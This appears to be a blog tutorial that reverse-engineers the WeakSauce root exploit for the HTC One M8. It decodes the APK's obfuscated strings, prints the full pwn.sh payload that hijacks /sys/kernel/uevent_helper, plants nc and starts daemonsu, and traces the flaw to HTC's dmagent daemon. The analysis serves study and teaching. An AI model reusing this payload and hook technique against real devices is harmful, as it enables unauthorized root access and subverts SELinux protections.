Analyzing the WeakSauce Exploit

Jonathan Levin, http://NewAndroidBook.com

As part of the devices I researched for my upcoming book on Android Internals, I got myself an HTC One M8. A chief factor in my decision was knowing that it had a working 1-click root, since I didn't want to root it using a bootloader unlock (which would ruin the prospects of selling it on eBay once I'm done).

The exploit for the One M8 is called WeakSauce, and has been published on XDA Developers by members jcase (who discovered the vulnerability) and beaups (who helped exploit it). It's packaged as a simple APK, which you can download and push to the device, but I couldn't find much documentation on how it works, though it had been classified as an HTC specific vulnerability, and not a generic one in KitKat. Since I have a chapter dealing with security, it made sense to try and figure out exactly what the exploit is doing.

This article was created to detail the process, and is written as a tutorial. Going along, I hope to publish more of these articles as updates to the book, as I have with the OS X/iOS book.

Step I: Examine the APK

Getting the APK is a simple enough matter, as it is freely and readily downloadable. After getting it, we can unzip to examine its contents:

morpheus@Ergo (~/tmp)$ unzip -l WeakSauce-1.0.1.apk 
Archive:  ../../WeakSauce-1.0.1.apk
  Length     Date   Time    Name
 --------    ----   ----    ----  
      630  03-30-14 10:20   META-INF/MANIFEST.MF
      751  03-30-14 10:20   META-INF/TIMEPINK.SF
      912  03-30-14 10:20   META-INF/TIMEPINK.RSA
   853044  03-30-14 10:19   assets/busybox        
 52428800  03-30-14 10:19   assets/xbin.img       
     3067  03-30-14 10:19   res/drawable/ic_launcher.png
      652  03-30-14 10:20   res/layout/activity_main.xml
      464  03-30-14 10:20   res/menu/main.xml
     2840  03-30-14 10:20   AndroidManifest.xml
     1852  03-30-14 10:19   resources.arsc
   705756  03-30-14 10:19   classes.dex
 --------                   -------
 53998768                   11 files

As the above shows, the APK has no JNI functionality (otherwise it would have a lib/ subfolder). The only "unusual" thing about it are the assets - the APK packages busybox (the all-in-one-binary, statically compiled) and an image of xbin (An ext4 loopback mount image). The manifest is also quite simple (I XMLized the relevant portions):

morpheus@Ergo (~/tmp)$ aapt d xmltree WeakSauce-1.0.1.apk AndroidManifest.xml | xmlize
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.cunninglogic.weaksauce"
    android:versionCode="1"
    android:versionName="1.0.1">
    ...
    <uses-permission android:name="android.permission.INTERNET">
    <uses-permission android:name="android.permission.BLUETOOTH">
    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN">
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED">
    <application
     ...>
         ..
	 
	    <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
	</receiver>
     </application>
   </manifest>

The only thing that's intriguing is why WeakSauce needs BlueTooth permissions. This will be explained shortly.

Step II: dexter

The dexter is a simple DEX file parser and extractor I wrote as an appendix to Chapter 10 of the book, which deals with the internals of the Dalvik VM. The tool is an improvement on the well known dexdump utility, in that it is more Java-aware, and can also perform some decompilation. Using it to dump the classes revealed some 521 classes, of which the vast majority were Android support classes - so these could be outright ignored.

morpheus@Ergo (~/tmp)$ dexter --classes classes.dex | grep -v " android"
Class Defs: 521 bytes @0x17540
	Class 343: Package: com.cunninglogic.weaksauce Class: D; (y)
	Class 344: Package: com.cunninglogic.weaksauce Class: G; (y)
	Class 345: Package: com.cunninglogic.weaksauce Class: H; (y)
	Class 346: Package: com.cunninglogic.weaksauce Class: J; (l)
	Class 347: Package: com.cunninglogic.weaksauce Class: K; (v)
	Class 348: Package: com.cunninglogic.weaksauce Class: M; (y)
	Class 349: Package: com.cunninglogic.weaksauce Class: MainActivity; (v)
	Class 350: Package: com.cunninglogic.weaksauce Class: OnBootReceiver; (w)
	Class 351: Package: com.cunninglogic.weaksauce Class: Weak; (f)
	Class 352: Package: com.cunninglogic.weaksauce Class: b; (y)
	Class 353: Package: com.cunninglogic.weaksauce Class: c; (v)
	Class 354: Package: com.cunninglogic.weaksauce Class: f; (y)
	Class 355: Package: com.cunninglogic.weaksauce Class: i; (y)
	Class 356: Package: com.cunninglogic.weaksauce Class: j; (y)
	Class 357: Package: com.cunninglogic.weaksauce Class: k; (y)
	Class 358: Package: com.htc.engine.system      Class: SystemAccess (r)
morpheus@Ergo (~/tmp)$ dexter --extract com.cunninglogic.weaksauce classes.dex
Extracting all classes belonging to com.cunninglogic.weaksauce Package...
15 Classes extracted.
morpheus@Ergo (~/tmp)$ dexter --extract "com.htc*" classes.dex
Extracting all classes matching "com.htc*"
1 Class extracted.

Aside from the android support classes, which are nothing special), only has the com.cunninglogic.weaksauce package classes - obfuscated, as is readily seen from the class names - and the com.htc.engine.system.SystemAccess.class - which is a replacement class for the similarly named class on the phone.

Step II': dex2jar

Since imgtool is not out yet at the time I'm writing this (it will be released with the book), you can use the dex2jar tool to unpack the classes. This is a simple, yet powerful utility, which undoes the work performed by the SDK's dx. Whereas the latter takes the Java classes of the APK, in JAR form, and creates a classes.dex, the former converts the classes.dex back into a JAR file. The usage is straightforward. Unpacking, you should get a classes-dex2jar.jar file, which you can unzip.

morpheus@Ergo (~/tmp)$ unzip -l classes-dex2jar.jar
Archive:  classes-dex2jar.jar
  Length     Date   Time    Name
 --------    ----   ----    ----
        0  05-15-14 15:54   android/
        0  05-15-14 15:54   android/support/
        0  05-15-14 15:54   android/support/v4/
    # ..  miscellaneous android/support/v4 classes that are totally irrelevant ...
        0  05-15-14 15:54   com/
        0  05-15-14 15:54   com/cunninglogic/
        0  05-15-14 15:54   com/cunninglogic/weaksauce/
      236  05-15-14 15:54   com/cunninglogic/weaksauce/D.class
      281  05-15-14 15:54   com/cunninglogic/weaksauce/G.class
      306  05-15-14 15:54   com/cunninglogic/weaksauce/H.class
      159  05-15-14 15:54   com/cunninglogic/weaksauce/J.class
      755  05-15-14 15:54   com/cunninglogic/weaksauce/K.class
      281  05-15-14 15:54   com/cunninglogic/weaksauce/M.class
     3203  05-15-14 15:54   com/cunninglogic/weaksauce/MainActivity.class
      674  05-15-14 15:54   com/cunninglogic/weaksauce/OnBootReceiver.class
     8512  05-15-14 15:54   com/cunninglogic/weaksauce/Weak.class
      331  05-15-14 15:54   com/cunninglogic/weaksauce/b.class
      653  05-15-14 15:54   com/cunninglogic/weaksauce/c.class
      281  05-15-14 15:54   com/cunninglogic/weaksauce/f.class
     1194  05-15-14 15:54   com/cunninglogic/weaksauce/i.class
      281  05-15-14 15:54   com/cunninglogic/weaksauce/j.class
      306  05-15-14 15:54   com/cunninglogic/weaksauce/k.class
        0  05-15-14 15:54   com/htc/
        0  05-15-14 15:54   com/htc/engine/
        0  05-15-14 15:54   com/htc/engine/system/
     1249  05-15-14 15:54   com/htc/engine/system/SystemAccess.class
    # ..  miscellaneous android/support/v4 classes that are totally irrelevant ...

      540  05-15-14 15:55   android/support/v4/view/ViewCompat$KitKatViewCompatImpl.class
 --------                   -------
   849028                   550 files

Step III: Deobfuscation

The classes extracted from the APK are obfuscated, but it's a simple enough matter to deobfuscate them. Looking at the SystemAccess as an example, we see:

System.load(i.m("JR\033C\007]\026TTo'\003\003O\007E\017\035\000A\b`2[\024U\026U\000UKU\n"));
Which implies the strings (in this case, presumably the name of a native library) are also obfuscated. The implementation of i.m shows:
package com.cunninglogic.weaksauce;

public final class i
{

public static String m(String paramString)
{
StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1];
String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName();
..

The i.m method relies on its caller - obtained through the stack trace - as a key to the obfuscation. With that in mind, it's simple to create an m2, which also gets the class and method names as arguments. That is:

public static String m2(String paramString, String MethodName, String ClassName)
{
StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1];
String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName();

// Override:
str = MethodName + ClassName;
// and we can now call this function instead of the old m, 
// e.g.  SystemAccess.m2("\000ZP\\\026\001v2KFC\004TXOD", 
//                       "com.cunninglogic.weaksauce.Weak",
//                       "m");

So, after a little bit of search and replace we can reveal that the above string is really: "system/lib/libdm-systemaccess.so". It turns out there is a similarly named m method in SystemClass.java, used extensively by the Weak class (which performs the bulk of the work). This method obfuscates by taking using the classname, and then the method name (that is, in reverse). Deobfuscating all of the strings used in Weak class yields:

data/data/com.cunninglogic.weaksauce/temp/xbin.img
system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/pwn.sh
/system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/busybox
system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/one
/system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp/one
...
/system/bin/sync
echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper
/system/bin/sync
/system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp
/system/bin/sync
/data/data/com.cunninglogic.weaksauce/temp
/system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/onboot
data/data/com.cunninglogic.weaksauce/temp/pwn.sh

So - what do we have? A lot of shell commands. Root access is somehow obtained, then these commands are run. Of particular interest is data/data/com.cunninglogic.weaksauce/temp/pwn.sh, which looks like the "pwn script". Note (in the above echo command) it gets written to /sys/kernel/uevent_helper, which is expected to contain the name of a binary launched by the kernel on device addition. This file is writable only by root, however, so the exploit must be doing something before writing to it. Indeed, looking at the device post-exploitation, we see:

root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # ls -l /sys/kernel/  
..
-rwxrwx--- u0_a235  u0_a235      4096 2014-05-16 14:21 uevent_helper
-r--r--r-- root     root         4096 2014-05-16 14:30 uevent_seqnum
..

Showing that /sys/kernel/uevent_helper has been chown'ed to be WeakSauce's. Since the root exploit works and we have access to all the directories, we can just navigate to WeakSauce's directory, and see:

root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # cat pwn.sh          
#!/system/bin/sh
echo 1 > /sys/kernel/uevent_helper
/system/bin/cat /system/xbin/dexdump > /data/data/com.cunninglogic.weaksauce/temp/dexdump
/system/bin/cat /system/xbin/nc > /data/data/com.cunninglogic.weaksauce/temp/nc
/system/bin/cat /system/xbin/dexus > /data/data/com.cunninglogic.weaksauce/temp/dexus
/system/bin/chmod 744 /data/data/com.cunninglogic.weaksauce/temp//nc
/system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexus
/system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexdump
/data/data/com.cunninglogic.weaksauce/temp/busybox mount /data/data/com.cunninglogic.weaksauce/temp/xbin.img /system/xbin
/system/bin/sync
/system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/nc > /system/xbin/nc
/system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexus > /system/xbin/dexus
/system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexdump > /system/xbin/dexdump
/system/bin/chmod 744 /system/xbin/nc
/system/bin/chmod 755 /system/xbin/dexus
/system/bin/chmod 755 /system/xbin/dexdump
/system/bin/chown 0.2000 /system/xbin/nc
/system/bin/chown 0.2000 /system/xbin/dexus
/system/bin/chown 0.2000 /system/xbin/dexdump
/system/xbin/daemonsu --auto-daemon &

So all that would be needed is to get the kernel to detect a new device. This is why Weaksauce required bluetooth permissions - looking at the Weak class we see:


SystemAccess.m().CopyFileCtl(
    SystemAccess.m("\002DGWD\004IDWN\006\001\013V\023JZCENOXUBLP\\\001^LN\t\027zhJJ\002_BLQ\b"), 
    SystemAccess.m("NOB"), 
    SystemAccess.m("M\027bn\006DHYIDM\b"), 
    SystemAccess.m("Z\007\022~s]pENKQDU"));

// /system/bin/sync
m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD"));

//m ("echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper"); 
m(SystemAccess.m("HHQP\017\016\006K\003\020z2MNYJ\bBNJ\001JVKON\f\003CF^VA\nUADHQE^......"));
// /system/bin/sync
m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD"));

// ...
localBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
bool1 = localBluetoothAdapter.isEnabled();
if (!bool1) {
localBluetoothAdapter.enable();
}

The call to CopyFileCtl is the important one here - this was defined as a native method of the replaced com.htc.engine.system.SystemAccess class. As it so happens, this does, in fact, turn out to be a JNI library, with the corresponding method defines as:

[morpheus@Forge ~]$ /usr/local/android-ndk-r8e/toolchains/arm-linux-androideabi-4.7/prebuilt/\
                    linux-x86_64/bin/arm-linux-androideabi-objdump -d libdm-systemaccess.so
...
00001d60 <Java_com_htc_engine_system_SystemAccess_CopyFileCtl>:
..

The fault lies in this function, which calls HTC's dmagent (thorugh the /dev/socket/dmsocket socket). The daemon (running as root, naturally) performs the copying, but along the way the file permissions get incorrectly chmod'ed. Game over.

Summary

This article detailed how WeakSauce works. To recap:

From this point on, it's all downhill - DaemonSu is installed, which is required in KitKat since a simple setuid /system/xbin/su wouldn't work - The SELinux context would confine even a root owned process to be u:r:shell:s0 (This is explained in Chapter 21, which deals with security). This way, when you type "su", you're actually going to a daemonsu, which runs as u:r:kernel:s0, and spawns you an unrestricted tmp-mksh. You can see that with ps -Z:

#
# Show all processes, filter out kernel threads, but still show u:r:kernel:s0 context:
#
root@htc_m8wl:/# ps -Z | grep -v " 2 " | grep kernel 
u:r:kernel:s0                  root      3113  1     daemonsu:mount:master
u:r:kernel:s0                  root      3114  3113  daemonsu:master
u:r:kernel:s0                  root      5449  3114  daemonsu:10236
u:r:kernel:s0                  root      6559  3114  daemonsu:0
u:r:kernel:s0                  root      6567  6559  daemonsu:0:6556
u:r:kernel:s0                  root      6569  6567  daemonsu
u:r:kernel:s0                  root      6572  6567  tmp-mksh
u:r:kernel:s0                  root      7521  6572  ps
u:r:kernel:s0                  root      7522  6572  grep
u:r:kernel:s0                  root      7523  6572  grep
#
# Note the adb spawned shell is the parent of su, which is why they're both still 
# u:r:shell:s0..

root@htc_m8wl:/# ps -Z | grep 6530
u:r:shell:s0                   shell     6530  3618  /system/bin/sh
u:r:shell:s0                   shell     6556  6530  su

.. And that's all. If you haven't yet checked out the book, please do so now, and feel free to drop me a line at j@ (this domain) for any questions, comments, or requests.

Greets